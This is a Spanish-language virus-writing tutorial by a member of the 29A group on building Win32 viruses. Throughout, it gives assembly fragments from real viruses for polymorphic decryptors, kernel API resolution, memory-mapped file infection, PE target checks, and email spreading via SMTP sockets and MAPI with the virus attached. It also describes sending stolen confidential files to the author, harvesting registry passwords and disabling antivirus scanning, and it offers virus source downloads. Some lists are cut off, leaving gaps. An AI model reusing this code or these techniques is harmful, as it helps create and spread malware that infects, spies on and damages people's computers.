bajo Win32 Por GriYo
Indice.
Si damos un paseo por Internet en busca de páginas especializadas en el tema de los virus informáticos nos encontraremos con un montón de documentos, colecciones de virus, fuentes, links muertos y todo tipo de información totalmente obsoleta. El motivo de esto lo encontramos en la desaparición paulatina del MsDos. De los cerca de 30.000 virus conocidos hoy en día el 90% aproximadamente son virus de MsDos. La mayoría de estos virus de MsDos que fueron tan famosos hace años dejaron de funcionar con la aparición de Windows. Muchos virus utilizan métodos indocumentados y poco compatibles, y de igual forma que ocurre con los *exploits* o con los *denial of service* las técnicas empleadas dejan de funcionar, y los problemas de seguridad se arreglan ( aunque en ocasiones se acrecientan ). Con la aparición de Windows 3.0 muchos virus perdieron la compatibilidad, pero la *scene* aun estaba muy concurrida, y no tardaron en salir a la luz trabajos orientados a este entorno. Esto mismo sucedió con la llegada de las sucesivas versiones de Windows anteriores al 95. Trabajos como el virus Sucksexee (aka Implant.6128) exprimieron hasta los extremos más insospechados toda la capacidad del MsDos. Algunas características de este virus son:
Esta técnica persigue ocultar totalmente la existencia del virus. Si abrimos un fichero infectado este aparecerá limpio, y lo mismo ocurrirá si lo intentamos con un debugger. No se aprecia aumento alguno en el tamaño de los ejecutables, pese a que algunos han crecido cerca de 6Kb. El virus fue diseñado para atacar directamente al software antivirus. Un ejemplo: Si estando el virus activo en memoria ejecutamos el antes conocidísimo ThunderByte Antivirus, ciertos parámetros son añadidos automáticamente a la línea de comandos, de forma que el escaneo de la memoria quedaba desactivado sin que el usuario se percatara de esta perdida de operatividad en su software antivirus. Otra característica *retro* de este virus es su capacidad para desactivar el arranque desde disquetes, lo que obligaba a arrancar desde la unidad de disco ya infectada. Esta técnica llegó de la mano de autores como Dark Avenger con su "Mutation Engine" o el grupo holandés Trident con su "TPE". La idea básica es crear un bucle sencillo que recorre el virus, encriptando cada byte. Este bucle es generado de forma tal que varia de una infección a otra. Las posibles variaciones en el bucle son:
El virus infecta múltiples objetivos en un mismo sistema. En este caso se trata del MBR (Master Boot Record), los archivos con extensión .COM, los archivos .EXE e incluso los archivos. SYS. Encontramos esta característica en su máxima expresión en los virus multi-plataforma. El desarrollo de virus se paralizó durante un tiempo. Seguían apareciendo virus de MsDos, pero el peligro estaba ya lejos. Aparecieron los primeros intentos dentro del ámbito de Win32, de la mano del siempre innovador grupo VLAD y su virus Bizatch ( denominado Boza por la gente de los anti-virus). Este virus empleaba técnicas primitivas que impedían su correcto funcionamiento ( como asumir direcciones fijas en memoria para el kernel y sus funciones), pero suponía un primer paso que seguramente alentó a muchos otros autores que no tardaron en dar el paso y empezar a investigar sobre esta nueva plataforma. Fue en este paso, para algunos de gigante, cuando desapareció gran parte de la scene. Las paginas web que antes recogían puntual información sobre la scene empezaron a no ser actualizadas con tanta regularidad, dada la falta de avances o descubrimientos. Solo algunos grupos concentraron todas sus fuerzas en la nueva plataforma, y aparecieron los primeros intentos serios, de la mano de grupos como IKX o 29A.Jacky Qwerty, autor del grupo 29A, fue sin duda uno de los impulsores de la tecnología vírica bajo 32bits. Sus virus Jacky y Cabanas asentaron las bases de lo que luego serian infectores más complejos y avanzados. Los desarrolladores de anti-virus aun andaban pensando como portar sus motores de búsqueda heurística a Win32 cuando apareció el primer virus polimórfico capaz de infectar ejecutables de Win32. Marburg pillo a muchos con los pantalones bajados, y eso le impulso *in-the-wild* llegando a aparecer ficheros infectados en los CdRom de revistas ampliamente difundidas, como PcGamer o PcPowerPlay. Las primeras muestras del virus Marburg cayeron en manos de los desarrolladores de anti-virus en agosto de 1998, cuando el virus llevaba ya cerca de 9 meses *in-the-wild*. Pese a esto aun tardaron unos dos meses mas en ser capaces de adaptar sus paquetes para ser capaces de afrontar este nuevo ataque. La guerra se declaraba de nuevo. La nueva plataforma suponía un esfuerzo extra a la hora de desarrollar virus, pero su mayor potencial ponía en las manos de sus autores armas aun más potentes. Describir este nuevo potencial y su aplicación al desarrollo de virus es el objetivo de este articulo. Esta claro que 16bits no son lo mismo que 32bits, ¿pero que diferencia supone esto a la hora de diseñar un motor de polimorfismo?. Para empezar ya no contamos solo con registros de 16bits ( ax, bx, etc..) si no que disponemos de toda la potencia del juego de registros extendidos ( eax, ebx, etc..). Una primera mejora sobre un motor de polimorfismo de 16bits seria añadir los 16bits que le faltan para llegar a 32. Veamos un ejemplo con una instrucción sencilla en ensamblador, MOV con el registro acumulador como destino. Donde antes solo podíamos generar: MOV AL,imm8bit MOV AH,imm8bit MOV AX,imm16bitAhora contamos con las siguientes posibilidades: MOV AL,imm8bit MOV AH,imm8bit MOV AX,imm16bit MOV EAX,imm32bitEsto solo supone un incremento en la variabilidad de una sola instrucción, pero si ampliamos el ejemplo al resto de los registros y al resto de las instrucciones veremos que se trata de una importante mejora. Otro aspecto importante radica en el acceso a memoria que el bucle realiza a la hora de desencriptar el virus. En los antiguos motores de polimorfismo contábamos con acceso byte a byte o word a word, por ejemplo: ADD BYTE PTR DS:[mem],imm8bit ADD WORD PTR DS:[mem],imm16bitPuesto que ahora andamos en Win32 no solo nos podemos deshacer de los registros de segmento (la memoria aparece plana a la vista de la aplicación, no segmentada) si no que además contamos con instrucciones que acceden a posiciones de memoria de 32bits. El ejemplo anterior se ampliaría a: ADD BYTE PTR [mem],imm8bit ADD WORD PTR [mem],imm16bit ADD DWORD PTR [mem],imm32bitDe nuevo ganamos una sola posibilidad mas de variación, pero repito, si esto lo aplicamos a todas las posibles instrucciones daremos con una bonita explosión combinatoria, a la que aun nos queda por añadir mas posibilidades. Una de ellas esta formada por los nuevos métodos de indexación, donde antes podíamos generar: ADD BYTE PTR DS:[reg],imm8bit ADD BYTE PTR DS:[reg+imm],imm8bitAhora nos encontramos con las siguientes posibilidades: ADD BYTE PTR [reg],imm8bit ADD BYTE PTR [reg+imm],imm8bit ADD BYTE PTR [reg+reg],imm8bit ADD BYTE PTR [reg+reg+imm],imm8bitIncluso podemos utilizar alguno de los exóticos modos de indexación del 386+ como por ejemplo [reg*02h]. Aquí hemos ganados mas posibilidades, que se multiplican al aplicar el ejemplo no solo a ADD y a referencias a BYTE, si no al resto de las instruciones y al resto de los tamaños del operador ( WORD y DWORD). Evidentemente, un gran potencial, y solo hemos empezado por analizar las instrucciones y registros del procesador. La generación automática de código polimórfico alcanza sus más altas cotas en aquellos engines capaces de seguir la evolución del código que generan, conociendo en cualquier momento el estado de cualquier registro o incluso su valor. A continuación podemos observar un fragmento del decriptor polimórfico que el virus Win32.Influenza utiliza para ocultar su presencia en los ficheros infectados: :00401376 E81D000000 call 00401398 . . . . . . :00401398 BE5F4D853E mov esi,3E854D5F :0040139D 87DE xchg esi,ebx :0040139F 5B pop ebx :004013A0 668BFB mov di,bx :004013A3 8BF8 mov edi,eax :004013A5 66BDB0C8 mov bp,C8B0 :004013A9 5D pop ebp :004013AA 0F8C03000000 jl 004013B3 :004013B0 6687D3 xchg bx,dx :004013B3 FD std :004013B4 664B dec bx :004013B6 E9AA260100 jmp 00413A65 . . . . . . :00413A65 E815000000 call 00413A7F . . . . . . :00413A7F 87FA xchg edx,edi :00413A81 F8 clc :00413A82 664F dec di :00413A84 5B pop ebx :00413A85 8AEE mov ch,dh :00413A87 E912000000 jmp 00413A9EPodemos observar como el código generado presenta una estructura compleja similar a la de un programa real. El motor de polimorfismo no tiene problemas para generar estructuras como la instrucción CALL de la dirección de memoria 00401376, que transfiere el control varias posiciones mas adelante. En la dirección 0040139F encontramos una instrucción POP que restaura el stack, eliminando la dirección de retorno guardada por la llamada anterior. ¿Quién ha escondido la caja de herramientas?. En los virus basados en MsDos utilizábamos las interrupciones que nos permitían acceder a funciones del MsDos ( int 21h) o de la Bios ( int 13h). Todas esas funciones que utilizábamos para abrir un fichero o escribir en él residen ahora en DLL's, en este caso en KERNEL32.DLL. Localizar la dirección en memoria donde reside este modulo es vital, y para ello contamos con varios trucos. El virus puede localizar las funciones utilizadas por el programa que lo porta, y utilizarlas para infectar. Esto supondría una grave limitación: Si un ejecutable no utiliza alguna de las funciones necesarias para el funcionamiento del virus, este ejecutable no podra ser infectado. Una forma de evitar este problema:
El siguiente fragmento pertenece al virus Marburg. Se trata de la rutina encargada de localizar cada una de las APIs del kernel necesarias para el funcionamiento del virus, todo ello con la ayuda de GetProcAddress. get_K32_APIs: push ebx lea esi,dword ptr [ebp+viral_functions] lea edi,dword ptr [ebp+viral_addresses] mov ecx,(offset viral_tbl_end-offset viral_functions)/04h get_each_ep: cld lodsd add eax,ebp push ecx push esi push edi push eax push dword ptr [ebp+a_Kernel32] call dword ptr [ebp+a_GetProcAddr] pop edi pop esi pop ecx or eax,eax jz exit_get_func cld stosd loop get_each_ep exit_get_func: mov ecx,eax pop ebx ret viral_functions equ this byte dd offset szCreateFileA dd offset szCreateFileMap dd offset szMapViewOfFile dd offset szUnmapView dd offset szCloseHandle dd offset szFindFirst dd offset szFindNext dd offset szFindClose dd offset szVirtualAlloc dd offset szGetWinDir dd offset szGetSysDir dd offset szGetCurDir dd offset szSetFileAttr dd offset szSetFileTime dd offset szDeleteFile dd offset szGetCurProc dd offset szWriteProcMem dd offset szLoadLibrary dd offset szGetSysTime viral_tbl_end equ this byte szGetModuleH db "GetModuleHandleA",00h szGetProcAddr db "GetProcAddress",00h szCreateFileA db "CreateFileA",00h szCreateFileMap db "CreateFileMappingA",00h szMapViewOfFile db "MapViewOfFile",00h szUnmapView db "UnmapViewOfFile",00h szCloseHandle db "CloseHandle",00h szFindFirst db "FindFirstFileA",00h szFindNext db "FindNextFileA",00h szFindClose db "FindClose",00h szVirtualAlloc db "VirtualAlloc",00h szGetWinDir db "GetWindowsDirectoryA",00h szGetSysDir db "GetSystemDirectoryA",00h szGetCurDir db "GetCurrentDirectoryA",00h szSetFileAttr db "SetFileAttributesA",00h szSetFileTime db "SetFileTime",00h szDeleteFile db "DeleteFileA",00h szGetCurProc db "GetCurrentProcess",00h szWriteProcMem db "WriteProcessMemory",00h szLoadLibrary db "LoadLibraryA",00h szGetSysTime db "GetSystemTime",00h viral_addresses equ this byte a_CreateFile dd 00000000h a_CreateFileMap dd 00000000h a_MapViewOfFile dd 00000000h a_UnmapView dd 00000000h a_CloseHandle dd 00000000h a_FindFirst dd 00000000h a_FindNext dd 00000000h a_FindClose dd 00000000h a_VirtualAlloc dd 00000000h a_GetWindowsDir dd 00000000h a_GetSystemDir dd 00000000h a_GetCurDir dd 00000000h a_SetFileAttr dd 00000000h a_SetFileTime dd 00000000h a_DeleteFile dd 00000000h a_GetCurProc dd 00000000h a_WriteProcMem dd 00000000h a_LoadLibrary dd 00000000h a_GetSysTime dd 00000000hTodo lo que quieras hacer. Utilizando las API's del kernel LoadLibrary y GetProcAddress podemos cargar cualquier modulo de Windows y obtener las direcciones de las API's que nos interesen dentro de él. Así podremos incluir en nuestro virus multitud de características nuevas que resultaban impensables cuando aun andábamos en el MsDos. Algunos de los módulos con cuyas API's podemos contar son:
El corazón del interfaz gráfico que tan famoso ha hecho a Windows esta a nuestra disposición para facilitarnos las cosas a la hora de crear vistosos *payloads* para nuestros virus. Esta librería proporciona un juego de funciones orientadas a la programación de aplicaciones que utilizan TCP/IP. Con su ayuda podemos desarrollar aplicaciones como un cliente de FTP o un cliente de TELNET, pero también podemos utilizarlas dentro de un virus para, por ejemplo, conectar con un servidor de mail, componer y enviar un mensaje. Este mensaje puede enviarse a otros usuarios junto con una copia adjunta del virus ( mail spreading ) o puede enviarse a una cuenta perteneciente al autor del virus, junto a documentos confidenciales extraídos por el virus de la maquina contaminada. Este modulo contiene funciones destinadas a facilitar tareas típicas de aplicaciones orientadas a Internet. Dentro de este modulo encontraremos funciones que nos permitirán conectar con el proveedor de Internet, transmitir ficheros ( FTP ), descargar páginas web o incluso jugar con las "cookies". Este modulo alberga las funciones de mensajería de Windows. Con él podemos construir de forma sencilla un email y adjuntar un fichero al mismo. No siempre encontraremos este modulo en el sistema, y su utilización provoca en ocasiones la aparición de mensajes indicando el estado de la operación que se esta realizando ( el típico mensaje que muestra Outlook Express en el que se lee "contactando con el servidor" o "enviando mensaje" ). Es por esto que, pese a lo mucho que simplifican las tareas de enviar correo, no es recomendable su utilización en un virus, donde se supone que hay que ser un poco mas *discreto*. El registro del sistema es sin duda una importantísima fuente de información. De él podemos extraer nombres de directorios, servidores, passwords y todo tipo de información *sensible*. Esta característica de Win32 nos da la posibilidad de traernos un ejecutable entero a memoria, por grande que sea, y acceder a él fácilmente utilizando como índice la dirección de memoria donde es mapeado. De esta forma nos evitamos constantes accesos a disco y desplazamientos innecesarios del puntero de lectura/escritura. El procedimiento es el siguiente:
xor eax,eax ; push eax ; push FILE_ATTRIBUTE_NORMAL ; Atributos push OPEN_EXISTING ; Acción push eax ; push eax ; push GENERIC_WRITE or GENERIC_READ ; Modo de acceso lea eax,dword ptr [ebp+file2open] ; Nombre del fichero push eax ; call dword ptr [ebp+a_CreateFileA] ; cmp eax,INVALID_HANDLE_VALUE ; ¿ Error ? je error_createfile ; mov dword ptr [ebp+h_CreateFile],eax ; Guardamos el handle xor eax,eax ; push eax ; push dword ptr [ebp+size] ; Tamaño del fichero push eax ; push PAGE_READWRITE ; Derechos push eax ; push dword ptr [ebp+h_CreateFile] ; Handle call dword ptr [ebp+a_CreateFileMappingA] ; or eax,eax ; ¿ Error ? jz error_filemap ; mov dword ptr [ebp+h_FileMap],eax ; Guardamos el handle xor eax,eax ; push dword ptr [ebp+size] ; Tamaño del fichero push eax ; push eax ; push FILE_MAP_READ or FILE_MAP_WRITE ; Modo de acceso push eax ; call dword ptr [ebp+a_MapViewOfFile] ; or eax,eax ; ¿ Error ? jz error_view ; mov dword ptr [ebp+base_addr],eax ; Guardamos la direcciónComo resultado de la ejecución satisfactoria del código anterior obtenemos un puntero ( que guardamos en la dirección local indicada por base_addr ) al fichero en memoria. Utilizaremos este puntero para leer o escribir en memoria, reflejándose estas lecturas/escrituras en el fichero en disco. Una limitación en esta técnica radica en que no podemos hacer crecer el fichero una vez abierto. En el código anterior podemos observar como uno de los parámetros de llamada a estas API's es el tamaño del fichero. Pues bien, tendremos que abrir el fichero indicando su tamaño mas el tamaño requerido por el virus. Pero la primera vez que abrimos el fichero aun no sabemos si se trata de una víctima valida, algunas soluciones a este problema pasan por:
La gestión de excepciones (
Structured Exception Handling ) es sin duda una de las características
más interesantes y más utilizadas de Win32 y a la vez de
las menos documentadas, al menos por lo que a su funcionamiento interno
se refiere.
Un muro mas alto, pero con mas puertas. Microsoft introdujo un nuevo formato para los ficheros ejecutables con la llegada de la plataforma Win32. El nuevo formato, llamado "Portable Executable", pese a resultar más complejo a primera vista, presenta una estructura jerarquizada que, una vez comprendidas las estructuras internas que lo forman, facilita enormemente las labores de búsqueda, análisis y modificación de los campos que nos interesan. Lo primero que encontramos al analizar la estructura de un PE es la cabecera MsDos. Se trata de la misma cabecera que presentan los ficheros .EXE de MsDos. Su finalidad es mostrar un mensaje que dice algo así como "This program cannot be run in DOS mode", cuando intentamos ejecutar una aplicación de Windows estando en MsDos. La cabecera de los ficheros .EXE de MsDos presenta una marca que permite identificarla como tal. Podremos verla si abrimos algún ejecutable con un editor hexadecimal, se trata de los caracteres "MZ". De igual manera, la cabecera PE se encuentra identificada por la cadena "PE\0\0" que encontramos como primer campo. A continuación aparece la "FileHeader", que recoge información básica acerca del fichero, como el numero de secciones de que consta o la fecha y hora en que fue *linkado*. Veamos la declaración de esta estructura: IMAGE_FILE_HEADER STRUC FH_Machine DW ? FH_NumberOfSections DW ? FH_TimeDateStamp DD ? FH_PointerToSymbolTable DD BYTE PTR ? FH_NumberOfSymbols DD ? FH_SizeOfOptionalHeader DW ? FH_Characteristics DW ? IMAGE_FILE_HEADER ENDS IMAGE_SIZEOF_FILE_HEADER EQU SIZE IMAGE_FILE_HEADERLe sigue la "OptionalHeader", que pese a su nombre de *optional* contiene información concreta e indispensable para la correcta interpretación del resto del ejecutable. Esta es la declaración: IMAGE_OPTIONAL_HEADER STRUC ; Standard fields: OH_Magic DW ? OH_MajorLinkerVersion DB ? OH_MinorLinkerVersion DB ? OH_SizeOfCode DD ? OH_SizeOfInitializedData DD ? OH_SizeOfUninitializedData DD ? OH_AddressOfEntryPoint DD BYTE PTR ? OH_BaseOfCode DD BYTE PTR ? OH_BaseOfData DD BYTE PTR ? ; NT additional fields: OH_ImageBase DD BYTE PTR ? OH_SectionAlignment DD ? OH_FileAlignment DD ? OH_MajorOperatingSystemVersion DW ? OH_MinorOperatingSystemVersion DW ? OH_MajorImageVersion DW ? OH_MinorImageVersion DW ? OH_MajorSubsystemVersion DW ? OH_MinorSubsystemVersion DW ? OH_Reserved1 DD ? OH_SizeOfImage DD ? OH_SizeOfHeaders DD ? OH_CheckSum DD ? OH_Subsystem DW ? OH_DllCharacteristics DW ? OH_SizeOfStackReserve DD ? OH_SizeOfStackCommit DD ? OH_SizeOfHeapReserve DD ? OH_SizeOfHeapCommit DD ? OH_LoaderFlags DD ? OH_NumberOfRvaAndSizes DD ? UNION OH_DataDirectory IMAGE_DATA_DIRECTORY \ IMAGE_NUMBEROF_DIRECTORY_ENTRIES \ DUP (?) OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ? ENDS IMAGE_OPTIONAL_HEADER ENDS IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU 28d IMAGE_SIZEOF_NT_OPTIONAL_HEADER EQU SIZE IMAGE_OPTIONAL_HEADEREn el fichero PE.INC ( ver "29A Include files" en el apéndice A ) encontraras la declaración del resto de las estructuras que componen la cabecera PE. Como ejemplo de como acceder a estas estructuras vemos, a continuación, un fragmento del virus Win32.Parvo, en el que el virus chequea algunos campos de la cabecera PE para comprobar si el ejecutable es apto para el método de infección utilizado: ;Comprobar que la marca MZ esta presente en la dirección base ;del fichero mapeado en memoria cld cmp word ptr [ebx],IMAGE_DOS_SIGNATURE jne inf_close_file ;Chequear la posición de la "relocation table" cmp word ptr [ebx+MZ_lfarlc],0040h jb inf_close_file ;Ahora nos desplazamos a la cabecera PE y miramos si podemos encontrar ;allí la marca que la identifica mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx lodsd cmp eax,IMAGE_NT_SIGNATURE jne inf_close_file ;Mirar la CPU para la que fue compilado este ejecutable ;permitir solo ejecutables para INTEL i386 cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386 jne inf_close_file ;Un vistazo a las características para comprobar que se trata de un ;ejecutable mov ax,word ptr [esi+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz inf_close_file ;Evitamos infectar DLL's test ax,IMAGE_FILE_DLL jnz inf_close_file ;Infectar sólo aplicaciones gráficas, no de consola cmp word ptr [esi+ \ IMAGE_SIZEOF_FILE_HEADER+ \ OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI jne inf_close_fileTiene correo nuevo. ¿ Quién no ha jugado alguna vez a enviar un mail utilizando un cliente de TELNET?. Es bien sencillo, conectamos al puerto 25 ( SMTP ) del servidor de correo y vamos enviando los comandos necesarios para construir un mensaje, a saber: 220 mail.servidor.cualquiera SMTP/smap Ready. helo server.mio 250 (server.mio) pleased to meet you. mail from: <usuario@server.mio> 250 <usuario@server.mio>... Sender Ok rcpt to: <destinatario@server.suyo> 250 <destinatario@server.suyo> OK data 354 Enter mail. end with "." on a line by itself. from: usuario <usuario@server.mio> to: destinatario <destinatario@server.suyo> subject: Este es el asunto Este es el cuerpo del mensaje . 250 Mail accepted quit 221 Closing connectionPues esto es exactamente lo que un virus tiene que hacer para generar un mensaje de correo electrónico. Con la ayuda de las funciones de WINSOCK.DLL podemos realizar estas operaciones. Implementar un motor SMTP ( Simple Mail Transfer Protocol ) en ensamblador no es labor sencilla, veamos como ejemplo un fragmento del virus Win32.Influenza, en el que encontramos un ejemplo de como conectar con el servidor de mail: lea eax,dword ptr [ebp+WSA_data] ; Iniciar WINSOCK push eax ; push 00000101h ; call dword ptr [ebp+a_WSAStartup] ; or eax,eax ; ¿ Error ? jnz WSA_CleanUp ; lea eax,dword ptr [ebp+host_name] ; Obtener host a partir de push eax ; su nombre call dword ptr [ebp+a_gethostbyname] ; or eax,eax ; ¿ Error ? jz WSA_CleanUp ; cld ; lea esi,dword ptr [eax+00000008h] ; lea edi,dword ptr [ebp+SockAddrIn] ; push edi ; movsw ; push 25 ; Puerto SMTP call dword ptr [ebp+a_htons] ; Convertir byte-order cld ; stosw ; lodsw ; movzx ecx,ax ; lodsd ; mov esi,dword ptr [eax] ; rep movsb ; Preparar SockAddrIn push ecx ; push SOCK_STREAM ; Usar TCP push AF_INET ; Internet call dword ptr [ebp+a_socket] ; Creamos el socket pop edi ; cmp eax,00000000h ; ¿ Error ? jl WSA_CleanUp ; mov dword ptr [ebp+conn_sock],eax ; Guardar descriptor push SizeOfAddrIn ; push edi ; push eax ; call dword ptr [ebp+a_connect] ; Conectar cmp eax,0FFFFFFFFh ; ¿ Error ? je Disconnect ;La definición de las estructuras utilizadas en el ejemplo anterior, como WSA_data o SockAddrIn, podemos encontrarlas en los ficheros de *includes* de nuestro compilador de C favorito... O en el Win32 SDK de Microsoft, donde aparecen junto a detallada información sobre su utilización. El único inconveniente es que tenemos que portar todo a ensamblador, pero también se trata de una ventaja, si no prueba a escribir la misma función en C y compara el tamaño de los ejecutables resultantes. Una forma de enviar mail, sencilla y eficaz pese a ser un tanto descarada, la encontramos en el siguiente código, que utiliza funciones de MAPI: ;Registrar nuestra sesion MAPI lea eax,dword ptr [ebp+hMAPISession] push eax ;lppSession push 00000000h ;ulReserved push 00000020h or 00008000h ;flFlags push 00000000h ;lpszPassword push 00000000h ;lpszProfileName push 00000000h ;ulUIParam call dword ptr [ebp+a_MAPILogon] or eax,eax jnz freeMAPI32 ;Buscar un mensaje cualquiera dentro de las carpetas de ;Outlook lea eax,dword ptr [ebp+MessageID] push eax ;lpszMessageID push 00000000h ;ulReserved ;MAPI_LONG_MSGID = 00004000h push 00004000h ;flFlags push 00000000h ;lpszSeedMessageID push 00000000h ;lpszMessageType push 00000000h ;ulUIParam push dword ptr [ebp+hMAPISession] ;lhSession call dword ptr [ebp+a_MAPIFindNext] or eax,eax jnz logoutMAPI32 ;Tomamos el mensaje lea eax,dword ptr [ebp+MessagePtr] push eax ;lppMessage push 00000000h ;ulReserved ;MAPI_ENVELOPE_ONLY = 00000040 ;MAPI_PEEK = 00000080h push 00000080h or 00000040h ;flFlags lea eax,dword ptr [ebp+MessageID] push eax ;lpszMessageID push 00000000h ;ulUIParam push dword ptr [ebp+hMAPISession] ;lhSession call dword ptr [ebp+a_MAPIReadMail] ;Construimos un nuevo mensaje utilizando parte de la informacion ;obtenida del mensaje anterior cld lea edi,dword ptr [ebp+MapiMessage] xor eax,eax stosd ;ulReserved lea eax,dword ptr [ebp+szSubject] stosd ;lpszSubject lea eax,dword ptr [ebp+szNoteText] stosd ;lpszNoteText xor eax,eax stosd ;lpszMessageType lea eax,dword ptr [ebp+szDate] stosd ;lpszDate xor eax,eax stosd ;lpszConversationID mov eax,00000002h ;MAPI_RECEIPT_REQUESTED stosd ;flFlags lea eax,dword ptr [ebp+MsgFrom] stosd ;lpOriginator mov eax,00000001h stosd ;nRecipCount lea eax,dword ptr [ebp+MsgTo] stosd ;lpRecips mov eax,00000001h stosd ;nFileCount lea eax,dword ptr [ebp+MapiFileDesc] stosd ;lpFiles ;Origen del mensaje xor eax,eax ;ulReserved stosd stosd ;ulRecipClass lea eax,dword ptr [ebp+szNameFrom] stosd ;lpszName lea eax,dword ptr [ebp+szMailFrom] stosd ;lpszAddress xor eax,eax stosd ;ulEIDSize stosd ;lpEntryID ;Destino del mensaje stosd ;ulReserved inc eax ;MAPI_TO stosd ;ulRecipClass mov esi,dword ptr [ebp+MessagePtr] add esi,0000001Ch ;Go to originator lodsd lea esi,dword ptr [eax+00000008h] movsd movsd xor eax,eax stosd ;ulEIDSize stosd ;lpEntryID ;Indicamos el fichero que queremos incluir junto con el mensaje stosd ;ulReserved stosd ;flFlags mov eax,00000000h stosd ;nPosition lea eax,dword ptr [ebp+szFileAttach] stosd ;lpszPathName lea eax,dword ptr [ebp+szFileMsg] stosd ;lpszFileName xor eax,eax stosd ;lpFileType ;Y finalmente enviamos el mensaje push 00000000h push 00000000h lea eax,dword ptr [ebp+MapiMessage] push eax push 00000000h push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPISendMail] ;Antes de terminar es necesario liberar la memoria que ha quedado ;reservada por MAPI push dword ptr [ebp+MessagePtr] call dword ptr [ebp+a_MAPIFreeBuffer] ;Seamos elegantes, despidámonos logoutMAPI32: push 00000000h push 00000000h push 00000000h push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPILogoff] ;Liberamos MAPI32.DLL para terminar freeMAPI32: push dword ptr [ebp+hMAPI32] call FreeLibraryApéndice A: 29A Include files. Junto con el paquete que acompaña a este articulo encontraras los ficheros necesarios para manejar fácilmente en ensamblador las numerosas estructuras y constantes con las que nos encontraremos al trabajar en Win32. Estos ficheros, una vez incluidos en nuestro código fuente, nos facilitaran la vida a la hora de escribir fuentes más claros e inteligibles. Su autor, Jacky Qwerty ( del grupo 29A ) ha incluido en ellos todas las estructuras básicas y constantes que necesitaremos para empezar a trabajar en serio. INCLUDES.ZIP ( 29A Include files ) Además de los ficheros de *includes* de 29A, en el paquete adjunto encontrarás el código fuente de algunos virus que he desarrollado para la plataforma Win32. Esta es una lista de los ficheros y su contenido: HPS.ZIP ( Virus Win9x.HPS
+ código fuente )
En mi pagina personal podrás encontrar información detallada sobre el funcionamiento de cada uno de estos virus, además de artículos, tutoriales, notícias y utilidades. La URL es: BioTech(
http://www.geocities.com/Area51/Corridor/2618 )
Por GriYo / 29A
Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator |